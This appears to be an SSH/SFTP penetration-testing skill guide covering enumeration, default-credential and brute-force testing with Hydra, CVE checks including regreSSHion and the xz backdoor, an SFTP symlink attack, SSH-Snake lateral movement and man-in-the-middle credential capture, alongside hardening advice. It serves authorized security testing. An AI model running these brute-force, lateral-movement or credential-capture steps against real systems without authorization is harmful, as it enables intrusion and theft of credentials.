Ssh Pentesting

SSH/SFTP Penetration Testing

A comprehensive skill for SSH security assessment, enumeration, and vulnerability testing.

Quick Start

# Basic enumeration
./scripts/ssh-enumerate.sh <target-ip>

# Full audit with ssh-audit
./scripts/ssh-audit-wrapper.sh <target-ip>

# Check for default credentials
./scripts/check-default-creds.sh <target-ip>

# Scan for known vulnerabilities
./scripts/ssh-vuln-check.sh <target-ip>

Enumeration

Banner Grabbing

Get initial information about the SSH server:

nc -vn <IP> 22

Automated Enumeration

Use the bundled enumeration script:

./scripts/ssh-enumerate.sh <target-ip>

This runs:

• Banner grabbing
• Nmap default scripts
• Version detection
• Supported algorithms enumeration
• Host key retrieval
• Authentication methods check

SSH Audit

For comprehensive configuration auditing:

./scripts/ssh-audit-wrapper.sh <target-ip>

This uses ssh-audit to:

• Analyze SSH client/server configuration
• Detect weak/legacy algorithms
• Identify CVEs and security issues
• Provide hardening recommendations

Nmap Scripts

# Default scripts
nmap -p22 <ip> -sC

# Version detection
nmap -p22 <ip> -sV

# Supported algorithms
nmap -p22 <ip> --script ssh2-enum-algos

# Host keys (check for weak keys)
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full

# Authentication methods
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root"

Public Key Retrieval

ssh-keyscan -t rsa <IP> -p <PORT>

Credential Testing

Default Credentials

Check against known default credentials:

./scripts/check-default-creds.sh <target-ip>

Common default credentials by vendor:

Brute Force

Hydra (requires username):

hydra -v -V -l <username> -P <password-list> -t 1 <IP> ssh

Common password lists:

• https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt
• https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt

Username Enumeration

Some OpenSSH versions are vulnerable to timing attacks:

# Metasploit module
msf> use scanner/ssh/ssh_enumusers

Private Key Testing

Test known private keys:

# Nmap script
nmap --script ssh-publickey-acceptance <ip>

# Metasploit
msf> use scanner/ssh/ssh_identify_pubkeys

# Python tool (supports legacy algorithms)
ssh-keybrute.py <target> <key-file>

Known bad keys: https://github.com/rapid7/ssh-badkeys/tree/master/authorized

Weak SSH Keys (Debian PRNG)

Check for Debian predictable PRNG weak keys:

# Download and test against known weak keys
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
./test.sh <target-ip>

Vulnerability Assessment

Known Vulnerabilities

Check for recent critical vulnerabilities:

./scripts/ssh-vuln-check.sh <target-ip>

This checks for:

• CVE-2024-6387 (regreSSHion) - OpenSSH 8.5p1–9.7p1 signal-handler race
• CVE-2024-3094 (xz backdoor) - XZ Utils 5.6.0/5.6.1 supply-chain attack
• CVE-2025-32433 - Erlang/OTP authentication bypass
• CVE-2018-10933 - libssh unauthenticated success

CVE-2024-6387 (regreSSHion)

Affects OpenSSH 8.5p1–9.7p1. Unauthenticated attackers can corrupt glibc heap.

Detection:

ssh -V <target>
ssh -G <target> | grep ^userauths

Lab testing:

parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}

CVE-2024-3094 (xz Backdoor)

XZ Utils 5.6.0/5.6.1 contain trojanized code accepting attacker-signed packets.

Detection:

xz --version
rpm -qi xz  # or dpkg -l xz-utils
ldd /usr/sbin/sshd | grep -E "systemd|lzma"

Erlang/OTP Authentication Bypass (CVE-2025-32433)

Affects OTP < 27.3.3, 26.2.5.11, 25.3.2.20. Allows unauthenticated RCE.

Detection: Look for message codes ≥ 80 before authentication.

Mitigation: Upgrade to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer.

Configuration Assessment

Root Login

Check if root login is permitted (security risk):

# In sshd_config, should be:
PermitRootLogin no

Authentication Methods

Check for weak authentication methods:

ssh -v <target>
# Look for: Authentications that can continue: publickey,password,keyboard-interactive

Force password authentication if needed:

ssh -v <target> -o PreferredAuthentications=password

SFTP Security

Command Execution Bypass:

Users with SFTP-only access may still execute commands:

ssh user@target /bin/bash

Secure SFTP Configuration:

Match User sftpuser
    ChrootDirectory %h
    ForceCommand internal-sftp
    AllowTcpForwarding no
    PermitTunnel no
    X11Forwarding no
    PermitTTY no

SFTP Symlink Attack:

If you have write access in SFTP, create symlinks to access other files:

sftp> symlink / froot

Then access via web or other services.

SFTP Tunneling:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip>

Lateral Movement

SSH-Snake

Automated lateral movement using discovered SSH keys:

git clone https://github.com/MegaManSec/SSH-Snake
cd SSH-Snake
python3 ssh_snake.py <target>

SSH-Snake:

1. Finds SSH private keys on current system
2. Identifies hosts where keys may work
3. Attempts SSH connections
4. Recursively repeats on new systems

Kerberos/GSSAPI Authentication

If target supports GSSAPI (e.g., Windows OpenSSH on domain):

# Sync time with KDC
sudo ntpdate <dc.fqdn>

# Generate krb5.conf
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# Get TGT
kinit <user>
klist

# SSH with GSSAPI
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Or use crackmapexec:

crackmapexec ssh --kerberos <target>

SSH MitM

Capture credentials via man-in-the-middle:

git clone https://github.com/jtesta/ssh-mitm
cd ssh-mitm
python3 ssh-mitm.py

Combine with ARP/DNS spoofing for traffic redirection.

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• Metasploit: auxiliary/fuzzers/ssh/ssh_version_2

Configuration Files to Check

/etc/ssh/ssh_config
/etc/ssh/sshd_config
~/.ssh/authorized_keys
~/.ssh/ssh_known_hosts
~/.ssh/known_hosts
~/.ssh/id_rsa

References

• SSH Audit Hardening Guides
• Turgensec SSH Hacking Guide
• Qualys - regreSSHion
• Snyk - XZ Backdoor
• Unit 42 - Erlang/OTP CVE-2025-32433